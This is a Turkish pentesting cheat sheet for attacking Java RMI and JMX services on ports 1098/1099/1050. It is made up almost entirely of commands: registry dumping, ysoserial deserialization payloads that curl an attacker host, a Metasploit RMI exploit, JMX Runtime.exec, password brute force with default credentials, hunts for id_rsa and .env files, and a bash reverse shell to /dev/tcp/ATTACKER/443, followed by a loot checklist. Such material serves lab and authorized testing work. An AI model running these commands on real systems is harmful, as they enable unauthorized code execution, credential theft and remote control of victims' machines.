Skip to content

1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

Java RMI rce

RMI registry uzaktan nesne bağları yayınlar. Eski/unsafe deser sıkça RCE; JMX aynı ailede ikinci yol. Hedef lab IP’si üzerinde komutları 1098 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 1099/1098/JMX portlarını fingerprint et.

  2. Registry ve object adlarını dump et.

  3. ysoserial / RMG ile gadget dene.

  4. JMX MBean invoke ile komut çalıştır.

Terminal window
nmap -Pn -sV -p1099,1098,8686,9010 TARGET
Terminal window
nmap -Pn -p1099,1098,8686,9010 --script rmi-dumpregistry,rmi-vuln-classloader TARGET
Terminal window
java -jar remote-method-guesser.jar -t TARGET -p 1099 --guess-all
Terminal window
java -jar ysoserial.jar CommonsCollections6 'curl http://ATTACKER/x' > payload.bin
Terminal window
msfconsole -q -x 'use exploit/multi/misc/java_rmi_server; set RHOSTS TARGET; run'
Terminal window
java -jar remote-method-guesser.jar -t TARGET -p 1099 --exploit
Terminal window
java -jar jmxterm.jar -l service:jmx:rmi:///jndi/rmi://TARGET:1099/jmxrmi
MBean create/invoke → Runtime.exec

Java RMI - RMI-IIOP için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p1098,1099,1050 TARGET
Terminal window
nmap -Pn -p1098 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:1098' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',1098));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → Java RMI - RMI-IIOP
Terminal window
hydra -L users.txt -P rockyou.txt -s 1098 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 1098
Terminal window
nmap -p1098 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit Java RMI
Terminal window
msfconsole -q -x 'search Java RMI; exit'
Terminal window
nuclei -u https://TARGET:1098 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:1098 -tags tech -silent || true
Terminal window
nc -nv TARGET 1098
Terminal window
printf '
' | timeout 3 nc -nv TARGET 1098
Terminal window
curl -vk --http1.0 http://TARGET:1098/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
rmi-dumpregistry → ysoserial → reverse shell → loot JVM env